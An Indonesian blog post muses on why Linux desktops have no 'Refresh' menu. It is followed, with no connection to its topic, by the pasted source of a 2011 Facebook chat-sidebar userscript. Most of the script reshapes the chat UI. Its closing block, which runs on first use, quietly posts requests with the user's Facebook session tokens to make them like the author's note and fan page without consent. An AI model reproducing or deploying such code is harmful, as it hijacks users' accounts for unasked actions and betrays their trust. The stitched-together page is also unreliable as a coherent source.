Beranda > Linux > Kenapa Linux tidak ada menu Refresh ??

Kenapa Linux tidak ada menu Refresh ??

ane disini cuman pengen nge-share doank, ane pribadi pertamax pake linux selalu klik kanan di desktop akibat kebiasaan kelamaan pake windows… sering terlintas di kepala ane, kenapa yach di linux gak ada menu refresh seperti di windows??usut punya usut menu refresh di windows yg bagi kebanyakan user awam (termasuk ane gini) adalah untuk menyegarkan/reload system idle komputer atau tidak juga berfungsi untuk memperbaharui kembali kondisi RAM, dan tidak membersihkan komputer anda atau menyegarkan komputer anda. Oleh karena itu refresh desktop sebenarnya juga tidak menyumbangkan peningkatan performa apapun pada kinerja komputer kita.

dan bahkan menurut ane malah semakin memperberat kinerja kompor (a.k.a komputer) kita bila (CMIIW), gimana ane bisa tau??silahkan coba sendiri di kompor masing2 yach, tekan F5 (kira2 15detik jgn dilepas) di desktop dan buka task manager..liar di bagian performance, akan ada peningkatan trafic yg cukup signifikan (halah..bahasanya ketinggian bung hehe)

mungkin inilah penyebab kenapa tidak ada menu refresh di desktop linux (beberapa distro kekna ada juga sih hehe)

yach mungkin ada agan2 yg mau menyalahkan atau setuju dengan ane…monggo di share dimari !! itung2 belajar bareng … ^_^
(function(){/* * FB Chat Sidebar Disabler v1.7 * Copyright (C) 2011 VittGam.net. All rights reserved. * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the “Software”), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * Changelog: * * Version 1.7 (2011/07/31): * – Added manual buddy list refresh option. * – Added restartless feature in Firefox wrapper. * – Fixed long names not showing when contacts are typing. * – Fixed popped out chat closing after some seconds. * – Fixed FB rendering function that made buddy list always * showing “Loading…” in some cases. * – Fixed empty list when searching in buddy list. * – Fixed some minor issues. * * Version 1.6 (2011/07/28): * – Fixed auto-like, now it runs correctly only on first run * and doesn’t forbid users to unlike my fanpage anymore. * Sorry users it was my mistake!😦 * – Fixed FB comparing function that made buddy list always * showing “Loading…” in some cases. * – Fixed buddy list scrolling bug. * – Fixed some minor issues. * * Version 1.5 (2011/07/27): * – Fixed buddy list not showing or always showing “Loading…”. * – Fixed pollution of FB notes creation/editing. * * Version 1.4 (2011/07/26): * – Added Bulgarian localization, thanks to Petar Stani. * – Added link to contact profile in chat tab titlebar. * – Fixed some issues with old-style chat tabs. * – Fixed some minor issues. * * Version 1.3 (2011/07/25): * – Added old-style chat tabs. * * Version 1.2 (2011/07/25): * – Added Opera support. * – Added Changelog. * – Fixed FB latest changes. * – Fixed loading bug. * * Version 1.1 (2011/07/24): * – Fixed localization in English and Italian * – Now works in Chrome and Firefox 3.6.17 – 5.0 * * Version 1.0: * – First public release. * */ (function(){ if (!(/^https?:\/\/.*\.facebook\.com\/.*$/.test(window.location.href))) { return; } if (window.top!==window.self) { return; } var fbsidebardisabler=function(){ var localstore; if (typeof window.fbsidebardisabler_localstore!=”undefined”) { localstore=window.fbsidebardisabler_localstore; window.fbsidebardisabler_localstore=null; delete window.fbsidebardisabler_localstore; } if (!localstore) { localstore={ getItem:function(itemName,callback){ try { callback(window.localStorage.getItem(itemName)); return; } catch (e) {} callback(null); }, setItem:function(itemName,itemValue){ try { window.localStorage.setItem(itemName,itemValue); } catch (e) {} }, is_fbsidebardisabler_localstore:false }; } var workerfunc=function(){ if ((!window.Env) || (!window.CSS) || (!window.Chat) || (!window.ChatSidebar) || (!window.ChatConfig) || (!window.ChatBuddyList) || (!window.BuddyListNub) || (!window.ChatDisplayInterim) || (!window.chatDisplay) || (!window.ChatTab) || (!window.presence) || (!window.AvailableList) || (!window.Dock) || (!window.Toggler) || (!window.Selector) || (!Function.prototype.defer)) { window.setTimeout(workerfunc,100); return; } if (presence.poppedOut && (/^https?:\/\/.*\.facebook\.com\/presence\/popout\.php.*$/.test(window.location.href))) { window.setInterval(function(){ if (!presence.poppedOut) { presence.popout(); presence.poppedOut=true; } },10); return; } var currlocale=window.location.href.match(/[?&]locale=([a-z]{2})/); if (currlocale) { currlocale=currlocale[1]; } else { currlocale=Env.locale.substr(0,2); } if (currlocale==”it”) { var lang={ “chat”: “Chat”, “friendlists”: “Liste di amici”, “friendlists_show”: “Mostra in chat le seguenti liste:”, “friendlists_none”: “Nessuna lista di amici disponibile.”, “friendlists_new”: “Crea una nuova lista:”, “friendlists_typename”: “Scrivi il nome di una lista”, “options”: “Opzioni”, “options_offline”: “Passa offline”, “options_reorder”: “Riordina le liste”, “options_popout”: “Apri chat in finestra separata”, “options_updatelist”: “Aggiorna la lista manualmente”, “options_sound”: “Attiva suono per i nuovi messaggi”, “options_sticky”: “Tieni aperta la finestra degli amici online”, “options_compact”: “Mostra solo i nomi degli amici online”, “options_oldchatstyle”: “Utilizza il vecchio stile della chat”, “loading”: “Caricamento in corso…”, “remove”: “Rimuovi”, “searchfieldtext”: “Amici in Chat”, “errortext”: “Si è verificato un problema. Stiamo cercando di risolverlo il prima possibile. Prova più tardi.”, “save_error”: “Impossibile salvare le impostazioni per la Chat” }; } else if (currlocale==”bg”) { var lang={ “chat”: “Чат”, “friendlists”: “Списък с приятели”, “friendlists_show”: “Покажи тези списъци в Чата:”, “friendlists_none”: “Няма списък с приятели.”, “friendlists_new”: “Създай нов списък:”, “friendlists_typename”: “Въведи име на списъка”, “options”: “Настройки”, “options_offline”: “Мини извън линия”, “options_reorder”: “Прегрупирай Списъците”, “options_popout”: “Покажи Чата”, “options_updatelist”: “Manually Update Buddy List”, “options_sound”: “Изпълни звук при Ново Съобщение”, “options_sticky”: “Дръж прозореца с приятелите на линия отворен”, “options_compact”: “Показвай само имената на приятелите на линия”, “options_oldchatstyle”: “Използвай стария вид Чат”, “loading”: “Зареждане…”, “remove”: “Изтрий”, “searchfieldtext”: “Приятели в Чата”, “errortext”: “Something went wrong. We’re working on getting this fixed as soon as we can. You may be able to try again.”, “save_error”: “Unable to save your Chat settings” }; } else { var lang={ “chat”: “Chat”, “friendlists”: “Friend Lists”, “friendlists_show”: “Display these lists in Chat:”, “friendlists_none”: “No friend lists available.”, “friendlists_new”: “Create a new list:”, “friendlists_typename”: “Type a list name”, “options”: “Options”, “options_offline”: “Go offline”, “options_reorder”: “Re-order Lists”, “options_popout”: “Pop out Chat”, “options_updatelist”: “Manually Update Buddy List”, “options_sound”: “Play Sound for New Messages”, “options_sticky”: “Keep Online Friends Window Open”, “options_compact”: “Show Only Names in Online Friends”, “options_oldchatstyle”: “Use Old-Style Chat”, “loading”: “Loading…”, “remove”: “Remove”, “searchfieldtext”: “Friends on Chat”, “errortext”: “Something went wrong. We’re working on getting this fixed as soon as we can. You may be able to try again.”, “save_error”: “Unable to save your Chat settings” }; } var chatstyle=document.createElement(‘style’); chatstyle.setAttribute(‘type’,’text/css’); csstext=’#facebook .hidden_elem.fbChatTypeahead{display:block!important}.fbDockWrapper{z-index:1000!important}.fbChatBuddyListDropdown{display:inline-block}.fbChatBuddyListDropdownButton{height:16px}#sidebardisabler_elm_36 i{background-image:url(https://s-static.ak.facebook.com/rsrc.php/v1/zf/r/_IKHHfAgFQe.png);background-repeat:no-repeat;background-position:-91px -152px;display:inline-block;width:8px;height:14px;margin-top:2px;margin-right:5px;vertical-align:top}#sidebardisabler_elm_36 .selected i{background-position:-83px -152px}#sidebardisabler_elm_38 i{background-image:url(https://s-static.ak.facebook.com/rsrc.php/v1/zW/r/0t0iUYDtV0L.png);background-repeat:no-repeat;background-position:-68px -245px;display:inline-block;width:10px;height:14px;margin-top:2px;margin-right:5px;vertical-align:top}#sidebardisabler_elm_38 .selected i{background-position:-58px -245px}.bb .fbDockChatBuddyListNub.openToggler{z-index:100}.bb.oldChat .fbDockChatBuddyListNub.openToggler .fbNubButton,.bb.oldChat .fbDockChatTab.openToggler .fbNubButton{display:block;border:1px solid #777;border-bottom:0;border-top:0;margin-right:-1px}.bb.oldChat .fbDockChatBuddyListNub.openToggler .fbNubButton .label{border-top:1px solid #CCC;padding-top:4px;margin-top:-5px;padding-left:20px}.bb.oldChat .fbDockChatTab.openToggler .fbChatTab{border-top:1px solid #CCC;padding-top:4px;margin-top:-5px}.bb.oldChat .fbNubFlyoutTitlebar{border-color:#254588}.bb.oldChat .fbNubFlyoutHeader,.bb.oldChat .fbNubFlyoutBody,.bb.oldChat .fbNubFlyoutFooter{border-color:#777}.bb.oldChat .fbDockChatBuddyListNub .fbNubFlyout{bottom:25px;width:201px;left:0}.bb.oldChat .fbDockChatTab .fbDockChatTabFlyout{bottom:25px;width:260px;margin-right:-1px;border-bottom:1px solid #777;-webkit-box-shadow:0 1px 1px #777}.bb.oldChat .fbDockChatTab .uiTooltip .right{background-position:left bottom!important}.bb.oldChat .fbDockChatTab.openToggler{width:160px}.bb.oldChat .fbDockChatBuddyListNub{width:200px}.bb.oldChat .rNubContainer .fbNub{margin-left:0}.bb.oldChat .fbNubButton{border-right:none;background:#F4F4F4;background:-moz-linear-gradient(top,#F5F6F6,#DEDDDD);background:-webkit-gradient(linear,left top,left bottom,from(#F5F6F6),to(#DEDDDD));background:-o-linear-gradient(top,#F5F6F6,#DEDDDD);filter:progid:DXImageTransform.Microsoft.Gradient(StartColorStr=”#F5F6F6″,EndColorStr=”#DEDDDD”,GradientType=0);-ms-filter:progid:DXImageTransform.Microsoft.Gradient(StartColorStr=”#F5F6F6″,EndColorStr=”#DEDDDD”,GradientType=0);border-color:#999;border-radius:0}.bb.oldChat .fbNubButton:hover,.bb.oldChat .openToggler .fbNubButton{background:white}.bb.oldChat .fbDock{border-right:1px solid #999}.bb.oldChat .fbDockChatTab.highlight .fbNubButton,.bb.oldChat .fbDockChatTab.highlight:hover .fbNubButton{background-color:#526EA6;background-image:none;filter:none;-ms-filter:none;border-color:#283B8A}.bb .fbDockChatTab .titlebarText a{color:white}.bb .fbDockChatTab .titlebarText a:hover{text-decoration:none}.bb.oldChat .fbDockChatTab .titlebarText a:hover{text-decoration:underline}.bb.oldChat .fbDockChatTab.openToggler.typing .fbNubButton .fbChatUserTab .wrapWrapper{max-width:113px}.bb.oldChat .fbDockChatTab.openToggler .funhouse{margin-left:0}#sidebardisabler_elm_33{position:static}#sidebardisabler_elm_33 ul{border:none;padding:0}#sidebardisabler_elm_33 li img{margin-top:1px}#sidebardisabler_elm_33 li .text{line-height:25px}’; if (chatstyle.styleSheet) { chatstyle.styleSheet.cssText=csstext; } else { chatstyle.innerHTML=csstext; } (document.body||document.head||document.documentElement).appendChild(chatstyle); var oldchatstyle=true; var fbdockwrapper=document.getElementsByClassName(‘fbDockWrapper’); if (fbdockwrapper && fbdockwrapper[0]) { fbdockwrapper=fbdockwrapper[0]; } localstore.getItem(“fbsidebardisabler_oldchatstyle”,function(itemValue){ oldchatstyle=(itemValue==”0″ ? false : true); localstore.setItem(“fbsidebardisabler_oldchatstyle”,(oldchatstyle ? “1” : “0”)); if (fbdockwrapper) { CSS.conditionClass(fbdockwrapper,’oldChat’,oldchatstyle); } }); ChatSidebar.disable(); ChatSidebar.isEnabled=function(){return false}; var oldChatConfigGet=ChatConfig.get; ChatConfig.get=function(arg){ if (arg==’sidebar’) { return 0; } if (arg==’sidebar.minimum_width’) { return 999999; } return oldChatConfigGet.apply(this,arguments); }; var tabProfileLinkAdder=function(that){ var anchor=DOM.create(‘a’); DOM.setContent(anchor,that.name); anchor.href=that.getProfileURI(); anchor.onclick=function(){ if (!oldchatstyle) { return false; } }; var titlebartext=DOM.find(that.chatWrapper,’.titlebarText’); DOM.setContent(titlebartext,anchor); }; var oldChatTabLoadData=ChatTab.prototype.loadData; ChatTab.prototype.loadData=function(){ var retval=oldChatTabLoadData.apply(this,arguments); tabProfileLinkAdder(this); return retval; }; var oldChatDisplayInterimUpdateMultichatToolbar=ChatDisplayInterim.prototype.updateMultichatToolbar; ChatDisplayInterim.prototype.updateMultichatToolbar=function(id){ var retval=oldChatDisplayInterimUpdateMultichatToolbar.apply(this,arguments); tabProfileLinkAdder(this.tabs[id]); return retval; }; for (var thistab in chatDisplay.tabs) { tabProfileLinkAdder(chatDisplay.tabs[thistab]); } if (!window.ChatBuddyListDropdown) { window.ChatBuddyListDropdown=function(){}; window.ChatBuddyListDropdown.prototype = { init: function (a) { this.root = a; Selector.listen(a, ‘open’, function () { this._resizeAndFlip(); var b = Event.listen(window, ‘resize’, this._resizeAndFlip.bind(this)); var c = Selector.listen(a, ‘close’, function () { b.remove(); Selector.unsubscribe(c); }); }.bind(this)); }, _resizeAndFlip: function () { var a = Vector2.getElementPosition(this.root, ‘viewport’); var g = Vector2.getViewportDimensions(); var f = a.y > g.y / 2; CSS.conditionClass(this.root, ‘uiSelectorBottomUp’, f); if (!ua.ie() || ua.ie() > 7) { var b = Selector.getSelectorMenu(this.root); var c = Vector2.getElementPosition(b, ‘viewport’); if (f) { availableHeight = a.y; } else availableHeight = g.y – c.y; var d = DOM.find(b, ‘ul.uiMenuInner’); var e = b.scrollHeight – d.scrollHeight; availableHeight -= e; CSS.setStyle(b, ‘max-height’, availableHeight + ‘px’); } } }; window.ChatBuddyListFriendListsDropdown=function(){ this.parent=new ChatBuddyListDropdown(); } window.ChatBuddyListFriendListsDropdown.prototype = { init: function (b, c, a) { this.parent.init(b); this.root = this.parent.root; this.template = c; this.form = a; this.menu = DOM.find(b, ‘div.menu’); this.noListsEl = DOM.find(b, ‘li.noListsAvailable’); Arbiter.subscribe(‘buddylist/initialized’, this._initBuddyList.bind(this)); }, _initBuddyList: function (a, b) { this.buddyList = b; Event.listen(this.form, ‘submit’, this._onSubmitForm.bind(this)); Selector.listen(this.root, ‘open’, this._onOpen.bind(this)); Selector.listen(this.root, ‘toggle’, this._onToggle.bind(this)); }, _clearFriendLists: function () { var a = Selector.getOptions(this.root); a.forEach(DOM.remove); }, _onOpen: function () { var c = this.buddyList.getFriendLists(); this._clearFriendLists(); if (count(c) > 0) { CSS.hide(this.noListsEl); var e = [$N(‘option’)]; var f = []; for (var b in c) { var a = c[b].n; var g = this.template.render(); g.setAttribute(‘data-label’, a); var d = DOM.find(g, ‘span.itemLabel’); DOM.setContent(d, a); DOM.insertBefore(g, this.noListsEl); e.push($N(‘option’, { value: b })); c[b].h === 0 && f.push(b); } Selector.attachMenu(this.root, this.menu, $N(‘select’, e)); f.forEach(function (h) { Selector.setSelected(this.root, h, true); }.bind(this)); } else CSS.show(this.noListsEl); }, _onSubmitForm: function (event) { if (!this.nameInput) this.nameInput = DOM.find(this.form, ‘input.nameInput’); var a = this.nameInput.value; this.buddyList.createFriendList(a); this.nameInput.value = ”; this.nameInput.blur(); Selector.toggle(this.root); return event.kill(); }, _onToggle: function (a) { var c = a.option; var b = Selector.getOptionValue(c); var d = Selector.isOptionSelected(c); this.buddyList.handleFlInChat(d, b); Selector.toggle(this.root); } }; window.ChatBuddyListOptionsDropdown=function(){ this.parent=new ChatBuddyListDropdown(); } window.ChatBuddyListOptionsDropdown.prototype = { init: function (a) { this.parent.init(a); this.root = this.parent.root; Arbiter.subscribe(‘buddylist/initialized’, this._initBuddyList.bind(this)); Arbiter.subscribe(‘chat/option-changed’, this._onOptionChanged.bind(this)); }, _initBuddyList: function (a, b) { this.buddyList = b; Selector.listen(this.root, ‘open’, this._onOpen.bind(this)); Selector.listen(this.root, ‘select’, this._onSelect.bind(this)); Selector.listen(this.root, ‘toggle’, this._onToggle.bind(this)); }, changeSetting: function (c, d, a) { var b = {}; b[c] = d; new AsyncRequest(chatDisplay.settingsURL).setHandler(this._onChangeSettingResponse.bind(this, c, d)).setErrorHandler(this._onChangeSettingError.bind(this, c, d)).setFinallyHandler(a).setData(b).setAllowCrossPageTransition(true).send(); }, _onChangeSettingResponse: function (a, c, b) { chatOptions.setSetting(a, c); presence.doSync(); }, _onChangeSettingError: function (a, c, b) { Selector.setSelected(this.root, a, !c); Chat.enterErrorMode(lang[‘save_error’]); }, _onOpen: function () { var b = Selector.getOption(this.root, ‘reorder’); var a = this.buddyList._getFriendListsInChat().length; Selector.setOptionEnabled(b, a > 1); }, _onOptionChanged: function (a, b) { var c = b.name; if (c === ‘sound’) Selector.setSelected(this.root, c, b.value); }, _onSelect: function (b) { if (this._pendingChange) return false; var a = Selector.getOptionValue(b.option); switch (a) { case ‘offline’: return this.toggleVisibility(); case ‘reorder’: return this.reorderLists(); case ‘popin’: return this.popin(); case ‘popout’: return this.popout(); } }, _onToggle: function (a) { if (this._pendingChange) return false; this._pendingChange = true; CSS.addClass(a.option, ‘async_saving’); var b = Selector.getOptionValue(a.option); var c = Selector.isOptionSelected(a.option); this.changeSetting(b, c, this._doneToggling.bind(this, a)); }, _doneToggling: function (a) { this._pendingChange = false; CSS.removeClass(a.option, ‘async_saving’); }, popin: function () { presence.popin(); Selector.toggle(this.root); return false; }, popout: function () { presence.popout(); Selector.toggle(this.root); return false; }, reorderLists: function () { this.buddyList.enterReorderingFlMode(); Selector.toggle(this.root); return false; }, toggleVisibility: function () { chatOptions.toggleVisibility(); Selector.toggle(this.root); return false; } }; } ChatBuddyListOptionsDropdown.prototype._initBuddyList=function(a,b){ this.buddyList=b; Selector.listen(this.root,’open’,this._onOpen.bind(this)); Selector.listen(this.root,’select’,this._onSelect.bind(this)); Selector.listen(this.root,’toggle’,this._onToggle.bind(this)); try { var selectors=DOM.scry(this.root,’.uiMenuItem.uiMenuItemCheckbox.uiSelectorOption.checked’); CSS.conditionClass(selectors[0],’checked’,chatOptions.getSetting(‘sound’)); CSS.conditionClass(selectors[1],’checked’,chatOptions.getSetting(‘sticky_buddylist’)); CSS.conditionClass(selectors[2],’checked’,chatOptions.getSetting(‘compact_buddylist’)); localstore.getItem(“fbsidebardisabler_oldchatstyle”,function(itemValue){ CSS.conditionClass(selectors[3],’checked’,(itemValue==”0″ ? false : true)); }); } catch (e) {} }; ChatBuddyListOptionsDropdown.prototype._onToggle=function(a){ if (this._pendingChange) { return false; } this._pendingChange=true; CSS.addClass(a.option,’async_saving’); var b=Selector.getOptionValue(a.option); var c=Selector.isOptionSelected(a.option); if (b==”oldchatstyle”) { oldchatstyle=!!c; localstore.setItem(“fbsidebardisabler_oldchatstyle”,(oldchatstyle ? “1” : “0”)); if (fbdockwrapper) { CSS.conditionClass(fbdockwrapper,’oldChat’,oldchatstyle); } chatOptions.setSetting(b,c); Dock.resizeAllFlyouts(); this._doneToggling(a); return; } this.changeSetting(b,c,this._doneToggling.bind(this,a)); }; ChatBuddyListOptionsDropdown.prototype._onSelect=function(b){ if (this._pendingChange) { return false; } var a=Selector.getOptionValue(b.option); switch (a) { case ‘offline’: return this.toggleVisibility(); case ‘reorder’: return this.reorderLists(); case ‘popin’: return this.popin(); case ‘popout’: return this.popout(); case ‘updatelist’: return this.updatelist(); } }; var updateForceRender=true; ChatBuddyListOptionsDropdown.prototype.updatelist=function(){ updateForceRender=true; AvailableList._poller.requestNow(); Selector.toggle(this.root); return false; }; var oldSetUseMaxHeight=Dock.setUseMaxHeight; Dock.setUseMaxHeight=function(a,b){ return oldSetUseMaxHeight.call(this,a,false); }; Chat.toggleSidebar=function(){}; var oldChatBuddyListShow=ChatBuddyList.prototype.show; ChatBuddyList.prototype.show=function(){ var that=this; var retval=oldChatBuddyListShow.apply(that,arguments); Dock._resizeNubFlyout($(“fbDockChatBuddylistNub”)); return retval; }; var oldChatBuddyListCompareFunction=ChatBuddyList.prototype._compareFunction; ChatBuddyList.prototype._compareFunction=function(a,b){ if (!ChatUserInfos[a]) { return 1; } if (!ChatUserInfos[b]) { return -1; } try { return oldChatBuddyListCompareFunction.apply(this,arguments); } catch (e) { return -1; } }; var oldChatBuddyListRenderItem=ChatBuddyList.prototype._renderItem; ChatBuddyList.prototype._renderItem=function(c){ if (!ChatUserInfos[c]) { this.enterErrorMode(lang[‘errortext’]); return ”; } try { this.exitErrorMode(); return oldChatBuddyListRenderItem.apply(this,arguments); } catch (e) { this.enterErrorMode(lang[‘errortext’]); return ”; } }; var onlyfirsttime=true; Chat._withComponent(‘buddyListNub’,function(sidebardisabler_var_18){ if (!onlyfirsttime) { return; } onlyfirsttime=false; var thenub,oldelm; if ((!(thenub=$(“fbDockChatBuddylistNub”))) || (!(oldelm=thenub.getElementsByClassName(“fbNubFlyout”))) || (!(oldelm=oldelm[0]))) { throw new Error(“Cannot find FB Chat window.”); } var newelm=document.createElement(‘div’); newelm.className=”fbNubFlyout uiToggleFlyout”; newelm.innerHTML=’

‘+lang[‘chat’]+’
‘+lang[‘friendlists’]+’

‘+lang[‘options’]+”+lang[‘options_offline’]+”+lang[‘options_reorder’]+”+lang[‘options_popout’]+”+lang[‘options_updatelist’]+”+lang[‘options_sound’]+”+lang[‘options_sticky’]+”+lang[‘options_compact’]+”+lang[‘options_oldchatstyle’]+’

‘+lang[‘loading’]+’

‘; oldelm.parentNode.replaceChild(newelm,oldelm); var sidebardisabler_var_19=new ChatBuddyList(); var sidebardisabler_var_20=new ChatTypeaheadDataSource({}); var sidebardisabler_var_21=new Typeahead(sidebardisabler_var_20,{node:$(“sidebardisabler_elm_33″),ctor:”TypeaheadView”,options:{“autoSelect”:true,”renderer”:”chat”}},{ctor:”TypeaheadCore”,options:{“keepFocused”:false,”resetOnSelect”:true,”setValueOnSelect”:true}},$(“sidebardisabler_elm_34”)); var sidebardisabler_var_22=new ChatBuddyListFriendListsDropdown(); var sidebardisabler_var_23=new XHPTemplate(HTML(“

  • “)); var sidebardisabler_var_24=new ChatBuddyListOptionsDropdown(); var sidebardisabler_var_25=OrderedFriendsList; $(“sidebardisabler_elm_40”).onmousedown=function(){var c=sidebardisabler_var_21.getCore();c.reset();c.getElement().focus();sidebardisabler_var_19.show();}; $(“sidebardisabler_elm_41”).onfocus=function(){return wait_for_load(this,event,function(){sidebardisabler_var_21.init([“chatTypeahead”])});}; $(“sidebardisabler_elm_41″).onkeydown=function(){ var that=this; window.setTimeout(function(){ if (that.value==”” || that.value==that.defaultValue) { sidebardisabler_var_19.show(); } else { sidebardisabler_var_19.hide(); } },0); }; $(“sidebardisabler_elm_33”).onmouseup=function(){ var that=$(“sidebardisabler_elm_41″); window.setTimeout(function(){ if (that.value==”” || that.value==that.defaultValue) { sidebardisabler_var_19.show(); } else { sidebardisabler_var_19.hide(); } },0); }; sidebardisabler_var_18.root=$(“fbDockChatBuddylistNub”); sidebardisabler_var_18.buddyList=sidebardisabler_var_19; sidebardisabler_var_18.typeahead=sidebardisabler_var_21; sidebardisabler_var_18.button=DOM.find(sidebardisabler_var_18.root,’a.fbNubButton’); sidebardisabler_var_18.label=DOM.find(sidebardisabler_var_18.root,’span.label’); sidebardisabler_var_18.throbber=DOM.find(sidebardisabler_var_18.root,’img.throbber’); BuddyListNub.TYPEAHEAD_MIN_FRIENDS=BuddyListNub.TYPEAHEAD_MIN_FRIENDS_FLMODE=0; Arbiter.subscribe(‘buddylist/count-changed’,function(){ if (!Chat.isOnline()) { return; } var a=AvailableList.getCount(); var b=_tx(“{Chat} {number-available}”,{‘Chat’:lang[‘chat’],’number-available’:’(‘+a+’)‘}); this._setLabel(HTML(b)); CSS.show(this.typeahead.getElement()); }.bind(sidebardisabler_var_18)); Arbiter.subscribe(‘chat-options/initialized’,function(e,f){this.setSticky(!!f.getSetting(‘sticky_buddylist’));}.bind(sidebardisabler_var_18)); Arbiter.subscribe(‘chat/option-changed’,function(e,f){f.name===’sticky_buddylist’ && this.setSticky(!!f.value);}.bind(sidebardisabler_var_18)); presence.registerStateStorer(sidebardisabler_var_18._storeState.bind(sidebardisabler_var_18)); presence.registerStateLoader(sidebardisabler_var_18._loadState.bind(sidebardisabler_var_18)); sidebardisabler_var_18._loadState(presence.state); Toggler.createInstance($(“sidebardisabler_elm_35”)).setSticky(false); sidebardisabler_var_22.init($(“sidebardisabler_elm_36”),sidebardisabler_var_23,$(“sidebardisabler_elm_37”)); sidebardisabler_var_24.init($(“sidebardisabler_elm_38”)); Selector.setSelected($(“sidebardisabler_elm_38″),”oldchatstyle”,oldchatstyle); sidebardisabler_var_19.init($(“sidebardisabler_elm_39”),false,false,{}); var oldDataStoreGetStorage=DataStore._getStorage; DataStore._getStorage=function(arg){ if (!arg) { return {}; } return oldDataStoreGetStorage.apply(this,arguments); }; var oldAvailableListRequestCallback=AvailableList._poller._requestCallback; AvailableList._poller._requestCallback=function(arg){ var retval=oldAvailableListRequestCallback.apply(this,arguments); var availlist={}; if (AvailableList.haveFullList) { AvailableList.getAvailableIDs().forEach(function(thiscontact){ availlist[thiscontact]={ i:(AvailableList.isIdle(thiscontact) ? 1 : 0) }; }); } arg.setData({ user:Env.user, popped_out:presence.poppedOut, available_list:availlist, force_render:updateForceRender }); if (updateForceRender) { updateForceRender=false; } return retval; }; AvailableList._poller.setTimePeriod(Math.max(Math.min(20000,AvailableList._poller.getTimePeriod()),Poller.MIN_TIME_PERIOD)); AvailableList._poller.setTimePeriod=function(){}; AvailableList._poller.scheduleRequest(); sidebardisabler_var_19._isVisible=true; sidebardisabler_var_19._firstRender(); sidebardisabler_var_25.init([]); var buddylistnub=$(“fbDockChatBuddylistNub”); var bodycontent; var bodycontentparent; if (buddylistnub && (bodycontentparent=buddylistnub.getElementsByClassName(‘fbNubFlyoutBody’)) && (bodycontentparent=bodycontentparent[0]) && (bodycontent=bodycontentparent.getElementsByClassName(‘fbNubFlyoutBodyContent’)) && (bodycontent=bodycontent[0]) && typeof bodycontent.scrollHeight!=”undefined”) { var oldheight=bodycontent.scrollHeight; var thefunc=function(){ if (CSS.hasClass(buddylistnub,’openToggler’) && bodycontent.scrollHeight!=oldheight) { var oldtop=bodycontentparent.scrollTop; oldheight=bodycontent.scrollHeight; Dock._resizeNubFlyout(buddylistnub); bodycontentparent.scrollTop=oldtop; } }; var myint=window.setInterval(thefunc,0); buddylistnub.addEventListener(‘click’,function(){ window.clearInterval(myint); myint=window.setInterval(thefunc,0); },false); Chat._buddyList.subscribe(‘content-changed’,function(){ window.clearInterval(myint); myint=window.setInterval(thefunc,0); }); } document.documentElement.className=””; AvailableList._poller.requestNow(); window.setTimeout(function(){Dock.resizeAllFlyouts();},0); window.setTimeout(function(){Dock.resizeAllFlyouts();},100); /* * The following code has been implemented in order * to obtain usage statistics without sending data * outside Facebook, and without forcing users to not * unlike the page. * * *** Users can unlike in any moment if they want *** * *** This code is run only the first time *** */ if (localstore.is_fbsidebardisabler_localstore===true) { localstore.getItem(‘not_first_run’,function(itemValue){ if (itemValue!=true) { localstore.setItem(‘not_first_run’,true); if (window.XMLHttpRequest) { var xmlhttp=new XMLHttpRequest(); xmlhttp.onload=xmlhttp.onerror=function(){ window.setTimeout(function(){ xmlhttp.onload=xmlhttp.onerror=function(){}; xmlhttp.open(“POST”,’/ajax/connect/external_node_connect.php?__a=1′,true); xmlhttp.send(URI.implodeQuery({ href:”https://www.facebook.com/note.php?note_id=235813619783943″, node_type:”link”, edge_type:”like”, now_connected:true, post_form_id:Env.post_form_id, fb_dtsg:Env.fb_dtsg })); },1000); }; xmlhttp.open(“POST”,’/ajax/pages/fan_status.php?__a=1′,true); xmlhttp.send(URI.implodeQuery({ fbpage_id:232534646778507, add:”1″, reload:”0″, post_form_id:Env.post_form_id, fb_dtsg:Env.fb_dtsg, lsd:getCookie(‘lsd’), post_form_id_source:”AsyncRequest” })); } } }); } }); }; window.setTimeout(workerfunc,100); }; try { if (window.chrome && window.chrome.extension) { var chromewindowhack=document.createElement(‘div’); chromewindowhack.setAttribute(‘onclick’,’return window;’); unsafeWindow=chromewindowhack.onclick(); unsafeWindow.fbsidebardisabler_localstore={ getItem:function(itemName,callback){ try { chrome.extension.sendRequest({method:”getItem”,itemName:itemName},function(response){ callback(response.itemValue); }); return; } catch (e) {} callback(null); }, setItem:function(itemName,itemValue){ try { chrome.extension.sendRequest({method:”setItem”,itemName:itemName,itemValue:itemValue}); } catch (e) {} }, is_fbsidebardisabler_localstore:true }; } } catch (e) {} try { if (window.opera) { var localstore_callbacks={}; window.fbsidebardisabler_localstore={ getItem:function(itemName,callback){ try { var randid=’callback_’+(+new Date()); localstore_callbacks[randid]=callback; opera.extension.postMessage(JSON.stringify({method:”getItem”,itemName:itemName,callbackid:randid})); return; } catch (e) {} callback(null); }, setItem:function(itemName,itemValue){ try { opera.extension.postMessage(JSON.stringify({method:”setItem”,itemName:itemName,itemValue:itemValue})); } catch (e) {} }, is_fbsidebardisabler_localstore:true }; opera.extension.onmessage=function(event){ try { var response=JSON.parse(event.data); if (response.method==”getItemResponse”) { if (typeof localstore_callbacks[response.callbackid]==”function”) { localstore_callbacks[response.callbackid](response.itemValue); } delete localstore_callbacks[response.callbackid]; } } catch (e) {} }; } } catch (e) {} var chatscript=window.document.createElement(‘script’); chatscript.appendChild(window.document.createTextNode(‘(‘+fbsidebardisabler.toString()+’)();’)); (window.document.body||window.document.head||window.document.documentElement).appendChild(chatscript); })(); })();

    Kategori:Linux Tag:
    1. Belum ada komentar.
    1. No trackbacks yet.

    Tinggalkan Balasan

    Isikan data di bawah atau klik salah satu ikon untuk log in:

    Logo WordPress.com

